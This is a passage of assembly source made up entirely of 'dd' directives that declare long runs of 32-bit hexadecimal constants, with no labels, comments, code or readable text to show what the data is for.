		dd 0C25BD825h, 56477F60h, 8826239Bh, 0E6580FB0h, 2F6D7D5Ch
		dd 0A2CBAA52h, 0A2B3D287h, 0FD6D9BD0h, 6468B23Bh, 0F98E6881h
		dd 6CDD76B9h, 0D1A5FD6Ch, 0F5A1320Fh, 0FEF6847Bh, 703B599Dh
		dd 6C617A24h, 0BAE267FFh, 8DDE7117h, 0C1B11E89h, 79C1EBBCh
		dd 71D27597h, 95619042h, 0D9E4B97Eh, 4E000E9Fh,	0C7A37247h
		dd 0D3A700B3h, 64F6EB30h, 50CE3A0Dh, 0AB5A326Bh, 338A5EEFh
		dd 0D1E8B2EEh, 0CB8CE4F4h, 0A906384Ah, 0D93F6CF7h, 0F611FD66h
		dd 0A3D1A5C3h, 0E01FBC99h, 0A5EC69EBh, 8113D0C3h, 0F41AE3DEh
		dd 541B51C4h, 2587B59Dh, 0B237A1FAh, 5B7B60CEh,	0D4762FA0h
		dd 0DEA187D4h, 355059E3h, 4F5F0BD6h, 400F7AF2h,	0F35D5FBDh
		dd 0DEA177C2h, 3550E9A3h, 635F0BD6h, 47E85EBCh,	0A991D75Bh
		dd 77AE1783h, 339BD417h, 238CD8DBh, 0C6AA0630h,	7BBDA17Ah
		dd 503DBD78h, 0CB18D36Fh, 77B70BFCh, 83FBD41Bh,	0BFEEE35h
		dd 3F617B7h, 99C9D15Bh,	0B81D226Fh, 33287A34h, 0DEB20749h
		dd 5B839C5h, 9D8DE146h,	4BC3AE7Bh, 0F8D17DA6h, 0B607E898h
		dd 8C6C7DACh, 841C21D0h, 0C6556C61h, 1104DA38h,	3F69A5B6h
		dd 38B1EF7Eh, 907E88EBh, 0B2B3551Bh, 8B2CD83Ah,	0B424C0B0h
		dd 2CD60AA2h, 0D09EF0ABh, 0B2B164B6h, 0B2CCA4C0h, 87C3CDDEh
		dd 0FC1897A3h, 4E3066DBh, 56D5BF14h, 0FC5E526Eh, 72B6F1C7h
		dd 0BF81E0CBh, 2B6AE53Dh, 73BCAEB7h, 0F40D5DBAh, 723A6371h
		dd 3DC3C329h, 0B1774DFAh, 12D37ED1h, 371A37B6h,	6B6DFE85h
		dd 0C03DD5FCh, 0B1E435B8h, 1E52F0BDh, 1324B6EDh, 0EF2ABFCAh
		dd 774CC50Fh, 30701DC8h, 0DC8D68C3h, 0F86A0375h, 0B4BD2684h
		dd 27C48D0Fh, 5A7F80BDh, 1ACFF97Dh, 1960EAEDh, 95086F7Ah
		dd 7D649A51h, 0A5AAFF1Dh, 78860CA3h, 0B3581B9Ch, 0F67B3422h
		dd 87D89EFAh, 0AB7CD08Eh, 0F3438FE8h, 6E5A7FC2h, 6E34EA0Fh
		dd 0DED787D8h, 582DE696h, 515007F4h, 0ABEE2CD2h, 9B74A037h
		dd 0D44A976Dh, 253C1625h, 0FAF4DFC9h, 8F255596h, 0EDA668C2h
		dd 6BDEFAF5h, 9611DA36h, 0A28E2B8Fh, 0C99FDDE4h, 8771CE05h
		dd 282A25FAh, 465AD5D9h, 6A191A37h, 0C5A6AB6Eh,	8F0BD32Fh
		dd 0C2BCE17Eh, 0BAF6ABBAh, 0E3519363h, 2D69BBC9h, 13791854h
		dd 7F9E488Dh, 7F79F6BEh, 3E429D19h, 9A5C0DD0h, 0E6876910h
		dd 5C0A936Ch, 2A6C0FDCh, 32B73188h, 0CB0A7218h,	461A68Ah
		dd 0D489C2D0h, 0DA80410Fh, 0A33A91BCh, 10FE05B9h, 0EB1B6720h
		dd 75794791h, 0FE3D0C1Fh, 0D3B111C9h, 0A54D52EBh, 31623D46h
		dd 801BC979h, 25791754h, 935AF03Dh, 0DAA0AED1h,	564561E4h
		dd 2531C095h, 7A04A3D0h, 0CB424095h, 6A9BD79Dh,	83D6134Ah
		dd 9F780437h, 6D91ECEFh, 2357839Ch, 5F4A3A4Eh, 0DBB41A11h
		dd 8E0F7EAh, 7D21DE0Fh,	12F06EA3h, 0B1BF7834h, 8708D06Eh
		dd 6797292Fh, 730B97E6h, 5376800h, 0DE10E151h, 0F49A5E24h
		dd 0BB014267h, 1E7E16D1h, 3D9E572Dh, 0AB6E7D8Dh, 0FADC8A7Fh
		dd 0EDE9508Ch, 0C153A7AEh, 9CD0E084h, 72058F78h, 5CD38658h
		dd 9760A4FEh, 9C26F67h,	0D3DED1E2h, 73E16FBEh, 64E987E9h
		dd 0A7BA8745h, 4A9BFD8Eh, 0DDD822FFh, 0DD7C3B6Ch, 0B71E14FCh
		dd 4196EED4h, 9B226D4Dh, 0B3E9F41Bh, 58395E0Fh,	0D1C4B12Ah
		dd 52FC7772h, 6559E23Dh, 1C661EAFh, 5A39B983h, 7D088F16h
		dd 456AF1E6h, 7A09F7EBh, 73DF5118h, 4542C355h, 0FCFE11E9h
		dd 0F89F3A06h, 5F81BF05h, 0CAEB95B6h, 62147094h, 0A3D9003Dh
		dd 2882BD15h, 0FB8A7EBFh, 7AE84D18h, 496A1815h,	0D656370Fh
		dd 0E3C4EB8Eh, 65676F95h, 17E49C4Fh, 26333126h,	50C6511Ah
		dd 4B86B17h, 338F773Ah,	3389C2B6h, 9827F7D4h, 54D15ADCh
		dd 5B97BA0Ch, 65818BDEh, 81720C07h, 4EEA4CEFh, 0D013BE25h
		dd 5617373Ah, 0C61F8B87h, 57E34D3Bh, 0C93845E7h, 87AFB0B8h
		dd 0DD4B9D87h, 40BE24FDh, 2DFB9789h, 632057BFh,	8C61C0A3h
		dd 968A89A3h, 4D0F355Eh, 0E114DDD0h, 0B2F46FD6h, 7290C22h
		dd 0E7BDFB53h, 0FD9F768Dh, 0C34C481Ah, 6D172C3h, 0D45E8E1Ah
		dd 0C6D9A9C5h, 1E6E308Ah, 0EE97C779h, 6A300BF4h, 287DB111h
		dd 287E5F76h, 0E4AC6DB0h, 643C69E4h, 2179FB5Fh,	0A0278AFBh
		dd 0A1173992h, 0C9057A8h, 0B75FFE46h, 580EC77Ah, 8FF3CFD8h
		dd 81578FB2h, 0DC38E6B7h, 63F4DEAh, 0EFD6E492h,	1A8228A4h
		dd 0E80DBAE6h, 3255B38Eh, 1C794333h, 4B3534BDh,	842C30FBh
		dd 0C3B5C579h, 0E222ADAEh, 87DB9716h, 0B8D6885Fh, 0C5C823DDh
		dd 538B7485h, 1111B952h, 9C3E896Bh, 2136A93Bh, 0A71D7B3Dh
		dd 3D7A1C35h, 69B65EAh,	9E703D35h, 7472A747h, 0E0B5F74Ah
		dd 14E75484h, 0A6D84327h, 8A5361E4h, 2E7FCFB9h,	35F8330Eh
		dd 9B9117F4h, 938AC240h, 0A8426611h, 67110B6Ch,	19A8B514h
		dd 639A6A6Fh, 9D05EEABh, 50F00BEBh, 3C875CDDh, 0F74BE05Bh
		dd 4F0768DBh, 0AB65CFF2h, 0B1D2AB98h, 28B64EECh, 93BAAD9Fh
		dd 658E4A55h, 8E7D8E79h, 6309133h, 0E2C81178h, 71D7B1C3h
		dd 22B2671Ah, 0E0DC3026h, 0F4B05A80h, 7067703Fh, 61E83EF6h
		dd 0AACEA78Ch, 0EB3EAC8h, 8DA36E6h, 2DFF971Ah, 61C07562h
		dd 36279C7h, 28AF2EDEh,	0DB0B2384h, 71A3B133h, 0B6044D4h
		dd 6C2DC7A3h, 772B046Dh, 90E2869Ch, 606AA4B5h, 8D9601F9h
		dd 0ADE1002Ah, 0DF7E0CD2h, 46C154A9h, 595B7CEFh, 0EAE2B038h
		dd 0BC5051C6h, 0C8C7627Dh, 2CED50C2h, 6400D567h, 497EFE5Ch
		dd 90433A19h, 0FDB9BFBEh, 0B352531Ah, 5796D43Eh, 4C3BB5A7h
		dd 0E09FD5F6h, 529BF45Ah, 2349245Ah, 16740624h,	1123B157h
		dd 84E16341h, 0E183E9DAh, 0A0D83AB3h, 0FC8AC4F3h, 66D436FEh
		dd 4DF02D91h, 6E1F0CDDh, 3E3380CAh, 5E9E757Ch, 8C5C987Eh
		dd 884903C8h, 753B3743h, 0F4DC4CC7h, 5077DF52h,	865FDB85h
		dd 86C90F3Bh, 0AED6D1D2h, 0B0F3B52Fh, 0CE4C9C32h, 0B5381BD8h
		dd 372E09A4h, 0CF6F9D7h, 50F67EDBh, 0CE6F9846h,	664A5E18h
		dd 189916EAh, 4908BDFBh, 8CF8942Eh, 4E69388Bh, 0F5078BE2h
		dd 2E7FF9DBh, 4A097ADDh, 69611295h, 7E892246h, 8EBEDD58h
		dd 6716618Ch, 687ADD14h, 0D856A4CDh, 6FF3EA0Dh,	0D46F31E8h
		dd 53A8925Fh, 0B57D1CBEh, 0BF21BA2h, 0D7A026ACh, 0B59164D5h
		dd 0A481F719h, 56D94389h, 0F863C09Ah, 14FE408Eh, 13525126h
		dd 1179A026h, 0CA2E869Bh, 46527DC2h, 8C5F8CCCh,	5A15CCC3h
		dd 644BEA3Dh, 0B39F051Ch, 0CEF6A3Ch, 0CF1B3AF2h, 0D149C200h
		dd 9C37738Fh, 91FA0B42h, 544B7972h, 19750ECDh, 819D49CFh
		dd 0C2761E49h, 39BF516Fh, 6511EB83h, 6B0C1DE3h,	0D22D4D27h
		dd 426F9A20h, 96651F25h, 99FF8309h, 274947E1h, 82763323h
		dd 50CB1822h, 16A5DCAEh, 2FB520CEh, 52EE92BBh, 8C67841Fh
		dd 467B87EFh, 89BDE78Ch
		dd 4C2A478Ch, 28C516E1h, 32CD570Bh, 76B006A1h, 61C87AB3h
		dd 0FDD47834h, 93B8DC0Eh, 62225D91h, 84523A0Fh,	26BDB44Eh
		dd 0E0BA55F6h, 0F6FD24F7h, 0B6B8E8F0h, 0BE2616D7h, 0B594B3BDh
		dd 67CD58F3h, 5C1ADFEEh, 1D083460h, 3AF0690h, 9442DBC2h
		dd 3564B707h, 7FB3BA96h, 0BE5D5186h, 66B01434h,	0EC097F7Dh
		dd 0BF7E57E9h, 9F9A123Ah, 55114980h, 0F78F58D3h, 8157BEFEh
		dd 86948C21h, 0ECF39F31h, 6DACD18Ah, 23F54BAEh,	0C4F4201Fh
		dd 4672813Fh, 4D781174h, 8FC6DED2h, 56C75F62h, 4CCED70Ch
		dd 1A7F5361h, 16C66F6Ah, 1C9DA20Bh, 0D35DDDC9h,	2DC9818Ah
		dd 0FA7AB7D3h, 0C0B9055Ah, 756B1F7Fh, 0DFDC5CECh, 0EF0D1837h
		dd 0D6B0C794h, 49004F4Dh, 0BE9BEFE8h, 6D35E15h,	0A31B8BA3h
		dd 0DFE192BAh, 24314861h, 0A77F7541h, 0AE463BF9h, 9D05FAAEh
		dd 16E9A791h, 0DBF0A978h, 460F5E79h, 0DC10A372h, 750324DCh
		dd 0F4B4D227h, 0BABF06B0h, 23D83EC3h, 7B46C75Eh, 9D93B1Ch
		dd 0FC1F7F6Fh, 0FF5A4049h, 9BE94889h, 0A4EC0BD8h, 0A2B02297h
		dd 0A53CDE30h, 0C7BC6E67h, 35C35EABh, 0C56FEE1h, 7FCD960Dh
		dd 0D4C376C3h, 35143B78h, 5A6F3B95h, 0AC250E6Eh, 2AB14FCBh
		dd 9743E92Bh, 5BA42AB0h, 0D2AC8E6h, 39E0739Fh, 83F48A7Dh
		dd 25A6E501h, 0D55A6B8Bh, 0A004BC42h, 6559CCE8h, 0E40B5EF7h
		dd 68EB54D0h, 0BB3F3569h, 6286D35Bh, 3ACA871Ah,	2185C81h
		dd 0B27922DFh, 0AD70FCE7h, 0F2B522C3h, 70078A48h, 78F0F143h
		dd 0E9D8A9ADh, 5D14A49Dh, 0A4C08CDDh, 0BE837E51h, 97D0E907h
		dd 84640E2Ch, 8A23D126h, 6501BF3Eh, 56BE3304h, 0FD91BB03h
		dd 0BF2261C2h, 0BE69FCE3h, 0AF53481Eh, 861A34C9h, 72C32A31h
		dd 1D5052C0h, 63C89C16h, 79E2326Fh, 0EA53D202h,	0C267B86Bh
		dd 3C930271h, 5DEF8672h, 0FE29DD8h, 0EE12D931h,	0D09DFD5Bh
		dd 3EA3C660h, 6987FBCh,	6F70CAE5h, 0F2695EA8h, 0D5E377Fh
		dd 34D8A169h, 0EBEFAE5Dh, 92DE621Dh, 0D36A4BBh,	0D4218D9Dh
		dd 0F29C96D0h, 1A19E6D4h, 48E60465h, 8062D9FDh,	3172FEA4h
		dd 7BC098B9h, 78C6F5C6h, 630C2FB6h, 9F823EAEh, 390CB7A6h
		dd 5318B43Ch, 8499C9F8h, 38BA375Eh, 0DB7D3D43h,	94FE02DAh
		dd 0A5D1FB61h, 0AF882A3Ch, 18523F67h, 4C9B62A4h, 576C31F3h
		dd 9888F9E2h, 7FA9E378h, 0DAEE8A03h, 80E5D5E7h,	75598D18h
		dd 81384375h, 3A56FEC4h, 5A4E9C60h, 0FF1FA3D0h,	8C687416h
		dd 43037D1Fh, 0C7364B4Dh, 5F93FCAh, 200AFA97h, 5F388AC7h
		dd 0E0E8A169h, 88C86D75h, 6D9DBB69h, 0D232E2Bh,	34C97578h
		dd 6723B97Eh, 59D3EFFAh, 82FC2EC8h, 0FF5B3ADDh,	56E4DD26h
		dd 0D92371FFh, 0E3CDA25Eh, 0EAC3FF68h, 87E81A8Ah, 0C4B6450Ah
		dd 96C3A00Bh, 0A69A90D6h, 8DCBFD55h, 7E2D84E4h,	0F60AF7C4h
		dd 52E61556h, 3AA4D417h, 0EAFF6F52h, 649FC454h,	0A1AC4EBFh
		dd 4CD44C3Bh, 1630DF20h, 0A88122E4h, 0B31DD6B5h, 37069F43h
		dd 90BDA216h, 9BCE9A41h, 0ACA9309h, 4EEA7DDh, 90B613CEh
		dd 774B470Ch, 0FF25A15h, 67A6AFCDh, 31775B21h, 7EC776EFh
		dd 800FB2DFh, 50A7B807h, 5F477CEFh, 0E9784C9h, 0D73594F3h
		dd 2FF45E6Dh, 0C06D3BD8h, 95EDE3C5h, 3281D01Ah,	6CD07A9Bh
		dd 28A05434h, 0AF7308BEh, 35EBEFDEh, 0E02B26h, 0E3C43F6Ch
		dd 84DC2CFh, 6140F221h,	150F4B01h, 6D42E41Bh, 228E614Eh
		dd 377F421Ah, 0AD98D969h, 2BE7F09h, 29F30F14h, 4C4FA1E9h
		dd 4DA1DBF1h, 0D926D885h, 30AFBA19h, 384840CFh,	0CF5CD7FBh
		dd 2665B5D2h, 9995F72Dh, 0A732BB26h, 0A4659F30h, 55E04B5Eh
		dd 0F3B0031Ah, 0D8F42500h, 783DFABAh, 4A93A3B1h, 3AB36127h
		dd 0A72C4408h, 880C8D06h, 8698E70Dh, 455735B5h,	0ECF98DA4h
		dd 335B20h, 0C2B1EB55h,	60464C5Ah, 3D737FDAh, 0E457F18Ch
		dd 5283A90Fh, 3A315D81h, 0EC16DD5Fh, 0C1085479h, 53C890E1h
		dd 37772B4Dh, 0C97D0969h, 0F6F906A0h, 64DB679Dh, 0C55A8DBEh
		dd 0FD963CC4h, 65AAF61Ch, 0EBFC4B7Ah, 22C89D4Dh, 178038CFh
		dd 5D255642h, 0E4D439FDh, 0BE30E57Bh, 7C46D5DAh, 1278639h
		dd 5C0D4739h, 0F542B18Fh, 0DB8EE8C2h, 5AFCC4C2h, 1F607D96h
		dd 97839206h, 0B5DD9602h, 0B132E10Fh, 0A61F6590h, 1E46F5C7h
		dd 0CC36969h, 38366D8Ch, 7D6C38D5h, 0B0E9D3D5h,	87CBC261h
		dd 50358BD1h, 19FBD510h, 17DCD0CEh, 8ADD17A0h, 7DCB4DB8h
		dd 0C96A9E09h, 9736F22Fh, 1BA4D4BAh, 40EC60C1h,	33FAA97Fh
		dd 0AD6CE680h, 4270AC96h, 94FCBD80h, 797B48D1h,	88E4D8E8h
		dd 2699ADBCh, 1B356660h, 7C3CF538h, 12326D3Ch, 9C47FC8Bh
		dd 59B19C6Ah, 0E3506BB6h, 6F0954F3h, 2A6B7E83h,	16EB20C4h
		dd 9E41DC25h, 0AD11B613h, 0E5E66719h, 0ED8C0FD0h, 2B0AB335h
		dd 1C16FEF9h, 5D25E34h,	4C4DB08Bh, 58486C60h, 0C7DEDBECh
		dd 0C8BD3E22h, 57F22C6Ch, 0E67E2C4Ah, 8CDBF01Fh, 2A3C71Dh
		dd 0DFDBC244h, 2E6F0747h, 0CC7F761Fh, 0ED007F9Ch, 314F376Fh
		dd 0BAB30942h, 3F87010Fh, 0FBD46840h, 20A6EFEAh, 0DB74C421h
		dd 4F0DA35Fh, 0A3645A61h, 0FED83319h, 979777FAh, 0E3AD4F86h
		dd 7189BBA5h, 2512142Ch, 82055C13h, 0FC29E1BDh,	0E9704748h
		dd 82980DAEh, 37C6F8E1h, 130D0212h, 0E2DFE2B0h,	33FEE8C4h
		dd 281D84F9h, 946FD2BEh, 0BF57432Eh, 0F5CED4D3h, 0CBDB9A83h
		dd 5795F8E3h, 1CE70397h, 0CBE9BAB7h, 7732F826h,	856CFA2Eh
		dd 72792522h, 8981F36Ch, 7EC22270h, 5FCFAAF5h, 0BEA15783h
		dd 81D113C3h, 7576C2h, 0F3ECFAF2h, 0E3EACFF5h, 777EA0D7h
		dd 0D92B22Fh, 958F397Fh, 3671998Ch, 0F5E66318h,	7A2807F8h
		dd 0E768EF01h, 6484EC3Bh, 0C46CFF55h, 0D7C7E80Dh, 4F8DDA1h
		dd 0A6EFD74Ch, 36CA8417h, 163E487Ch, 85528C7Fh,	0B789C085h
		dd 0F35FBBC0h, 3F199B4h, 0EBA951DAh, 0B91E3AFh,	5DC65BAEh
		dd 0FBD959BDh, 0D114B00Ah, 0B3AB037Fh, 18F08F19h, 0F3B1D92Bh
		dd 192F55CDh, 0D0F8460Ch, 156B29FFh, 0D4F617DEh, 0FD2E3F2Ah
		dd 0EAD38617h, 0A5E94FFh, 0CD66CFA1h, 5F4E9D0Ah, 0E9379DBDh
		dd 0F3D0ABA1h, 982BE0BEh, 6C700A9Fh, 4D549920h,	98CE336Dh
		dd 6E4569BBh, 512CC0B0h, 4B4B5ECFh, 50411F80h, 4CD4F076h
		dd 0E6FD0183h, 93EA76F0h, 4DA43D09h, 0C4A96DC7h, 96BFAB60h
		dd 5511CA5Bh, 20E52DC3h, 4134B2CEh, 91A8D09Fh, 0D7A56940h
		dd 0E136B7C9h, 399E4700h, 66C5107Dh, 0F19B4BD2h, 0BB706FD5h
		dd 5AAAACE8h, 70834FEh,	0A03EB74Dh, 48609D40h, 0B762D13Bh
		dd 8DD7DE5Ah, 274A0161h, 0C61676CAh, 9844CDD2h,	50B6987Dh
		dd 137C149Eh, 85B56ED3h, 140368BDh, 22907B3Eh, 0A86EC3C7h
		dd 0A645AEFAh, 72F51BB6h, 0C7956F4Bh, 0E8DF74E9h, 7F748C9Bh
		dd 37568C1Fh, 37A54272h, 0F0F9C2D8h, 6412FBB7h,	828649E9h
		dd 63DB12E2h, 0A126C819h, 637D20BBh, 0CD807354h, 7E813EE9h
		dd 0BD1DE882h, 71F30118h, 37E89279h, 67E88918h,	688FB9E9h
		dd 0F6497728h, 50EBF762h, 2709382Eh, 0D1A1610h,	340FCB0Ch
		dd 0FAFFC7D4h, 0E7524064h, 9EEFD458h, 3ED725h, 0EA30EC65h
		dd 0F3422EABh, 6F708FCCh, 1D00C5D3h, 0B6A744FCh, 0CE61D026h
		dd 0E0EA5510h, 1E468954h, 0F52ED348h, 3E312B91h, 3ADBF707h
		dd 3C620F0Dh, 0EA6F8770h, 0AEE111FCh, 784CD193h, 875548A6h
		dd 4B392D4Bh, 3E70B921h, 548B0901h, 0FC6F53ADh,	2D61168Ch
		dd 0AB18ADC3h, 81D66221h
		dd 0CB4E8F5h, 0F0354D73h, 338F27B1h, 34431313h,	6A699793h
		dd 90630A39h, 13A784AEh, 1A469B21h, 70EB5524h, 31FD416Ah
		dd 2315584Ah, 0AAB7A4FFh, 8DA4337h, 46E2E6C2h, 0EA52C999h
		dd 6932A82Fh, 4C4DF05Ch, 0CD1E4ABAh, 8CD3A4A8h,	605748B5h
		dd 9841FC96h, 5A40E2A9h, 3AE0605Dh, 2D6D8B68h, 5EEC947Ah
		dd 3AB0C3CBh, 69B7494Fh, 1BDF0772h, 0ED511C5Dh,	0F28C22D5h
		dd 75F1CE93h, 8B79C2D7h, 50B7423Fh, 16029E9Fh, 90DB45C1h
		dd 0E90D7E9Ah, 0EBAD54BCh, 6E5D8746h, 32245A7Fh, 0A6ABC00Dh
		dd 4B2B7401h, 0BF50158Fh, 61A0E35Fh, 0FF7B5480h, 0DC846DB0h
		dd 92772740h, 4D7D2C30h, 16F40791h, 0A382E8EFh,	0F6C24D5Ah
		dd 0AFA27FC3h, 0EF106C54h, 6A155B9Dh, 0ECB81BE3h, 32D7B853h
		dd 0AFA84B07h, 0EED019F4h, 147B6103h, 16D485F1h, 32EF12F5h
		dd 4345D9BFh, 0B87242F6h, 0CC028638h, 0E5B3BAC3h, 49602E00h
		dd 67B37072h, 0CA459DD7h, 4D99FABBh, 7C2B4BDh, 277EA93Ch
		dd 0E17A5DA4h, 0E1A48D4Eh, 5118A257h, 0C38E4CEAh, 0E1C623BBh
		dd 0BD66F8DAh, 0D8989A4Dh, 262255D1h, 0E0A76B6Ch, 1E20E562h
		dd 49D2CE86h, 0D2E57125h, 0BCABDA9Dh, 2A3A2E5Fh, 961C4CFEh
		dd 3B82EE6Ah, 6FC17812h, 727CF538h, 6C05E90h, 0A74FF3ABh
		dd 93EBE906h, 65789068h, 501950D9h, 0E1371FEEh,	68EAD77Eh
		dd 2E622629h, 0B44C515Dh, 0B14CCA5Dh, 0C5BFADEBh, 19A55F04h
		dd 0CAF996BDh, 0C0B349CCh, 911EBAE9h, 0A50FA41Eh, 0DF014F70h
		dd 442D9EA3h, 0FB4AC40Eh, 0DE1E3268h, 707629D7h, 9D2EAF4Eh
		dd 7EC744C3h, 68D91B97h, 43D459E7h, 0A0D6D9E3h,	631933D4h
		dd 2A1DDB4Fh, 7ECD862Bh, 0E51CBE50h, 85C9E3A2h,	0F2CE0F94h
		dd 5153B238h, 1A8E9E5Ah, 4BA56754h, 4F297920h, 0F76BF946h
		dd 9B269871h, 72F30591h, 5C9A5EEh, 28763050h, 9CD5604Ah
		dd 566E8187h, 64F288C2h, 7B769D32h, 43C0EA5Ch, 9AD22F30h
		dd 878BFCE7h, 4D3FFBBh,	0E80A2E8Ch, 1858E64Eh, 200EBB7Fh
		dd 8C4BC4C6h, 6A1A17DFh, 7D85E12Eh, 0EC1BFC7Fh,	0EEF8508Dh
		dd 0BE5A1455h, 4512E6B8h, 0CEE9C0B4h, 2E42728Ch, 5952E713h
		dd 0A2969892h, 1E223650h, 0CA108F76h, 89A563AAh, 2929AC18h
		dd 9E7C3D94h, 0FCC31650h, 108AD26Ch, 4C545635h,	6C22B4D0h
		dd 0CBDBB682h, 450F7AFDh, 3403D05Eh, 0ED86790Dh, 0FA2893C3h
		dd 4EC5D012h, 0FF963149h, 27AE5526h, 5A8B2CBDh,	1A8F1139h
		dd 0D1A316D3h, 8FFF4B80h, 0B9321306h, 38549328h, 0E79ABD4Dh
		dd 4BA0F5E2h, 1DB33EBDh, 4C792239h, 3050F613h, 0A79ADE9Bh
		dd 0BF9C2FC1h, 6910E437h, 6D7BB676h, 0D033078Fh, 3C2CFF0Fh
		dd 0AA4347D0h, 0A62F56D9h, 67D70C1Bh, 5F55EB21h, 6D2AD90Bh
		dd 52F06DF5h, 0CB0B6959h, 0EFBC919h, 65A5E9F4h,	5EB2B413h
		dd 1FD856BCh, 0E337C32Ah, 0D83071A6h, 9E2D281h,	9067811Bh
		dd 82BF5B2h, 67896413h,	0BB19E9BAh, 5D3BC89Eh, 0E81ECADh
		dd 0F982465Dh, 228ABBA1h, 6F091484h, 5C9A6EC0h,	0B9F83A98h
		dd 83FC7FF9h, 522FE5DBh, 91C03FBDh, 21D2E19Dh, 4760CBA9h
		dd 147EBEEFh, 0B669921h, 96372463h, 76FB8C5Dh, 0D41A1DEh
		dd 4B0E9F46h, 4E8FD8Eh,	8AC6BF3h, 6336BA81h, 0C7B1110Dh
		dd 578722EBh, 800BB111h, 9B5E8BE1h, 6E1185D8h, 32FE5C7Bh
		dd 0DEC3AD55h, 970A7A2Eh, 0F90B0EEBh, 296D0FFFh, 5D5E7DA5h
		dd 0D3E18991h, 0E500FC9Eh, 37C22FF3h, 983DF5B5h, 0C760EBE8h
		dd 0E43D5BA5h, 404D36E2h, 0BF56C296h, 0FE42D6h,	0C04E3FD4h
		dd 15735565h, 0F56CD3C9h, 0A81C85B2h, 2EFCFFF1h, 6D5872B5h
		dd 8CA0B4DFh, 1329A66h,	8CCC6DD7h, 35518D5h, 0AB7DD954h
		dd 0D82B5A85h, 0BC1645C2h, 22F549A3h, 0DF6EB86Ch, 0D5A44CB7h
		dd 4BC92FAAh, 0EDBB6708h, 6AA8F6B5h, 74DF45AFh,	3A7D2C46h
		dd 0D370A64Dh, 1F74D8FAh, 3BAE5183h, 0E434618Dh, 96A504D1h
		dd 0BA90FB0Eh, 727832F9h, 6F0B6BBEh, 0DD1DA0CDh, 0B830C14Dh
		dd 2CE2E6Dh, 9A43D456h,	9A9EB085h, 0E6C84170h, 68095C26h
		dd 223FD5A3h, 0EFAF7523h, 0F75D8E3Eh, 0A4CF603Fh, 0E7BBED19h
		dd 5BD63410h, 2A3400h, 5673136Bh, 0C23EFB57h, 6EDA1958h
		dd 4648E5DFh, 0E03FB19Ah, 0CC21D165h, 600A658Eh, 7ACF8B2h
		dd 0D6795C70h, 4B21A7E6h, 6D404D03h, 36ABCBB7h,	9AFD92E7h
		dd 900F89EFh, 137DB8D2h, 17E11C88h, 0FC52FF45h,	0B2E5FE2Fh
		dd 0EAEF97D4h, 0FC082C5Fh, 9BE82C5Eh, 0E389901h, 0CF4AA394h
		dd 1F64C2E1h, 0CCC3C8E5h, 0A63952E3h, 307239E8h, 0E1551E79h
		dd 0CD7D4FCBh, 6036BFD6h, 6A12D61Bh, 9F046F74h,	27D0E64Eh
		dd 4240759Ch, 0C0B1D82Ch, 31E722BBh, 9E69EC45h,	1C4E8B8Ah
		dd 36F62298h, 0AE4BEC77h, 0BA619D13h, 89DEBE73h, 5BE48C50h
		dd 7D3D4DF4h, 6C73E85h,	0D914E0F0h, 0FE0D4C40h,	1E8C9322h
		dd 0C19F8B2Fh, 5E926937h, 14C40B80h, 0FBBF87B1h, 7572EAA7h
		dd 0D9CCAC1Eh, 9C583D2Ah, 0EE595D27h, 94AA10C2h, 11553FD5h
		dd 4774697Bh, 817B9B64h, 0B3F3896Ch, 0FCB64015h, 0C0DB273h
		dd 2616C6CFh, 134F5558h, 0ECA7CB6h, 8CC04767h, 1812713Eh
		dd 0BB1B2317h, 594C7580h, 81DCEBD8h, 0F17A040Eh, 0DB8DF60Bh
		dd 5367D05h, 2032A285h,	0B8FD03D6h, 43A877A5h, 56433C1Eh
		dd 0E5E2F4D6h, 0E9686804h, 23FEA2DDh, 0B2657480h, 0D455352Bh
		dd 8BE1B54Bh, 317D58B3h, 0A0392399h, 0F0E0EF6Ah, 0A2AA251Ch
		dd 0AA83E0E7h, 0F91073FEh, 2E692256h, 6C172418h, 975DC353h
		dd 0F7C5DEE0h, 8D1E4D32h, 7C666D2Fh, 0F6314529h, 0DC4BC55Fh
		dd 7809DF2Eh, 0BE504D4Ch, 768EC299h, 4E7665A1h,	0F9BCDF2Eh
		dd 6F2E26C3h, 0D3154EACh, 63F20C0Eh, 2C528A8Ah,	3BEA457Dh
		dd 74D6BF35h, 19765AFBh, 50E685F9h, 1034E6E3h, 0B77F53A1h
		dd 4542887Ah, 6E50A205h, 17E7DFFh, 0FFF7732h, 8B93F01Eh
		dd 35AB42F8h, 0BE61ACB9h, 0F34B18AFh, 0F9EFD61Dh, 0F63BD44Bh
		dd 6CB44B62h, 0D12D17ECh, 0D17EC7CBh, 0E63D3D12h, 0FEE896F3h
		dd 0A25D1731h, 0DF93FC2Dh, 2B7B8788h, 0A2BFCD52h, 8731113Bh
		dd 0B4FAD365h, 299665B3h, 60279D27h, 0D8C0EEAAh, 5B132EEEh
		dd 15B3E566h, 0C7916D93h, 7C2F23D1h, 0B00776B2h, 76137460h
		dd 0AD9894FDh, 0DA469FFEh, 0FF87FF72h, 123FC5C9h, 51AAFD8Ah
		dd 7C50F3BAh, 436A49E4h, 0A8DE798Ah, 2A507B3Ah,	6A5C1B0h
		dd 2FC8E375h, 522C0727h, 0FC3D41B5h, 9A4A3A09h,	0A23E16AEh
		dd 0FEEC5C4Fh, 1AAC7A21h, 663A7151h, 0AC69A246h, 6A86EEEEh
		dd 0D0C283D5h, 716FAE8Ch, 877EB54Bh, 0D18797FAh, 0F12F57CBh
		dd 2337938Ah, 0AB97970Ch, 28E8AB41h, 6AD7F698h,	9A902B67h
		dd 36A3F1DFh, 8996F8CDh, 67C4DD17h, 98793FA8h, 4E1CE26Fh
		dd 545FBC7Ch, 30BE1EABh, 0B38FFF92h, 0BA6F81B7h, 93C7FEBAh
		dd 2012D36h, 48A45009h,	328B452Bh, 6A868A8Bh, 4196616Bh
		dd 53546EB0h, 0A152D02h, 31BF58E8h, 209264EAh, 4C5AA5FAh
		dd 321F0DA3h, 6E1B06DDh, 0C710C1B8h, 104E2714h,	608A1E54h
		dd 2AB1145Bh, 0A1B81D42h, 5535BBA2h, 5208548Bh,	9F79FF9Ah
		dd 0FA493F7Bh, 0FFFDF6C0h, 0B9FA65E4h, 9EE74FCFh, 0E7B9CE7Bh
		dd 0C8C7339Eh, 313F176Ah, 0C3E9C26h, 0B070911h,	6EA06F03h
		dd 2F99763Bh, 0ADD17B65h, 704CCBA0h, 881BB016h,	2B785DD1h
		dd 7DF3AB6Bh, 6094DB09h, 7643B04Ah, 21B9FA48h, 7F1EE17Ch
		dd 759DC26Bh, 67648EBAh
		dd 6D31C2C8h, 4C98168Ah, 0CEC4A4F2h, 4DC9694Eh,	7552BE9Dh
